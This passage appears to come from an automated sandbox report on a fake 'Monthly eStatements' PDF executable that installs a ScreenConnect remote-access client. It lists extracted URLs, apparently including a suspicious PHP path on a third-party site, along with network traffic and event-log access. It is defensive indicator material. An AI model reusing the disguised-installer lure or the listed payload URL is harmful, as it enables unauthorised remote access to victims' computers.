                                Source: svchost.exe, 00000004.00000003.1366521026.000001CC32E67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
                                Source: svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
                                Source: svchost.exe, 00000004.00000002.1367373777.000001CC32E41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
                                Source: svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
                                Source: ScreenConnect.WindowsCredentialProvider.dll.14.drString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
                                Source: svchost.exe, 00000004.00000003.1366363286.000001CC32E34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
                                Source: svchost.exe, 00000004.00000002.1367373777.000001CC32E41000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366607387.000001CC32E5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366791373.000001CC32E31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
                                Source: svchost.exe, 00000004.00000003.1366363286.000001CC32E34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
                                Source: svchost.exe, 00000004.00000003.1366521026.000001CC32E67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/comments/feed/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/elementor-1007/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/feed/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/kolos-244-with-roof/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/kolos-244-without-a-roof/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/kolos-504/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/chaty/css/chaty-front.min.css?ver=3.2.61724253932
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/chaty/js/cht-front-script.min.js?ver=3.2.617242539
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?v
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.22.0
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.2
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.22.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.2
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.mi
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/swiper/v8/css/swiper.min.css?
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ve
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/css/global.css?ver=1.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/js/circle-progress.js
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/js/global.js?ver=1.0.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/bwg-fonts/fonts.css?ver=0.0.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/styles.min.css?ver=1.8.27
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/sumoselect.min.css?ver=3.4.6
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.fullscreen.min.js?ver=0.6.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.mi
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.sumoselect.min.js?ver=3.4.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/scripts.min.js?ver=1.8.27
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/tocca.min.js?ver=2.0.9
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart-child/style.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/bootstrap-light.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/base.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/el-social-icons.min.css?ver=7.5.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/footer-base.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-base.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-el-base.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-el-mobile-nav-dropdown.mi
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elem-base.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elementor-pro.min.css?ver=7.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/mod-tools.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=7.5.
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-widget-collapse.min.css?ver=
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/page-404.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/wd-search-form.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/wp-gutenberg.min.css?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/images/wood-logo-dark.svg
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/libs/cookie.min.js?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/libs/device.min.js?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/libs/waypoints.min.js?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/helpers.min.js?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollBar.min.js?ver=7.5
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollTop.min.js?ver=7.5
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/widgetCollapse.min.js?ve
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/header/headerBuilder.min.js?ver
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuOffsets.min.js?ver=7.5
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuSetUp.min.js?ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/mobileNavigation.min.js?ve
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/onePageMenu.min.js?ver=7.5
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/wc/woocommerceNotices.min.js?ve
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-180x180.png
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-192x192.png
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-270x270.png
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-32x32.png
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/02/ikonka.png
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/2024/07/xts-theme_settings_default-1722337697.css?
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/global.css?ver=1719229766
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/post-8.css?ver=1719229765
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/wp-json/
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/xmlrpc.php
                                Source: chromecache_125.2.drString found in binary or memory: https://electroagrotech.com.ua/xmlrpc.php?rsd
                                Source: ScreenConnect.Core.dll.16.drString found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
                                Source: chromecache_125.2.drString found in binary or memory: https://fonts.googleapis.com/css?family=Lato%3A400%2C700%7CPoppins%3A400%2C600%2C500&#038;ver=7.5.1
                                Source: chromecache_125.2.drString found in binary or memory: https://fonts.googleapis.com/css?family=Open
                                Source: chromecache_125.2.drString found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
                                Source: chromecache_125.2.drString found in binary or memory: https://fonts.googleapis.com/css?family=Ubuntu&#038;subset=greek
                                Source: chromecache_125.2.drString found in binary or memory: https://fonts.gstatic.com/
                                Source: edb.log.0.drString found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
                                Source: svchost.exe, 00000000.00000003.1203330576.0000025A48CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.0.drString found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
                                Source: chromecache_125.2.drString found in binary or memory: https://gmpg.org/xfn/11
                                Source: chromecache_122.2.drString found in binary or memory: https://silvervalleyrealestategh.com/wp-content/uploads/elementor/thumbs/proce.php
                                Source: svchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
                                Source: svchost.exe, 00000004.00000003.1366727433.000001CC32E49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366727433.000001CC32E49000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366625938.000001CC32E5D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
                                Source: svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
                                Source: svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
                                Source: svchost.exe, 00000004.00000002.1367449017.000001CC32E59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
                                Source: chromecache_125.2.drString found in binary or memory: https://x.com/share?url=
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49697 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49697
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
                                Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
                                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
                                Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49719 version: TLS 1.2
                                Source: unknownHTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49726 version: TLS 1.2

                                Spam, unwanted Advertisements and Ransom Demands

                                barindex
                                Reads the Security eventlog
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                                Reads the System eventlog
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_05EA2280 CreateProcessAsUserW,19_2_05EA2280
                                Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4ad420.msiJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\inprogressinstallinfo.ipiJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\SourceHash{E9529982-0D10-CBAC-7648-2909782EACA4}Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID672.tmpJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID692.tmpJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSID887.tmpJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4ad422.msiJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\4ad422.msiJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\{E9529982-0D10-CBAC-7648-2909782EACA4}Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\{E9529982-0D10-CBAC-7648-2909782EACA4}\DefaultIconJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Windows\Installer\wix{E9529982-0D10-CBAC-7648-2909782EACA4}.SchedServiceConfig.rmiJump to behavior
                                Source: C:\Windows\System32\msiexec.exeFile deleted: C:\Windows\Installer\MSID692.tmpJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05ABF11012_2_05ABF110
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB6F6012_2_05AB6F60
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB9F6012_2_05AB9F60
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB613012_2_05AB6130
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AB6F5012_2_05AB6F50
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeCode function: 12_2_05AC039B12_2_05AC039B
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_0212700019_2_02127000
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFB4A819_2_04AFB4A8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B4D48819_2_04B4D488
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB2CF819_2_04BB2CF8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFC4F819_2_04AFC4F8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB9C7819_2_04BB9C78
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BC647819_2_04BC6478
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0F45819_2_04B0F458
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BBD5A819_2_04BBD5A8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFBD8819_2_04AFBD88
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B14DC319_2_04B14DC3
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B1A52119_2_04B1A521
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BEA55B19_2_04BEA55B
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BCAE9819_2_04BCAE98
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB261819_2_04BB2618
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFA67819_2_04AFA678
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0A64819_2_04B0A648
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AF9FB819_2_04AF9FB8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB97C819_2_04BB97C8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB2F6819_2_04BB2F68
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFAF7819_2_04AFAF78
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0B0B819_2_04B0B0B8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B4E88819_2_04B4E888
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BC68E819_2_04BC68E8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BBA03819_2_04BBA038
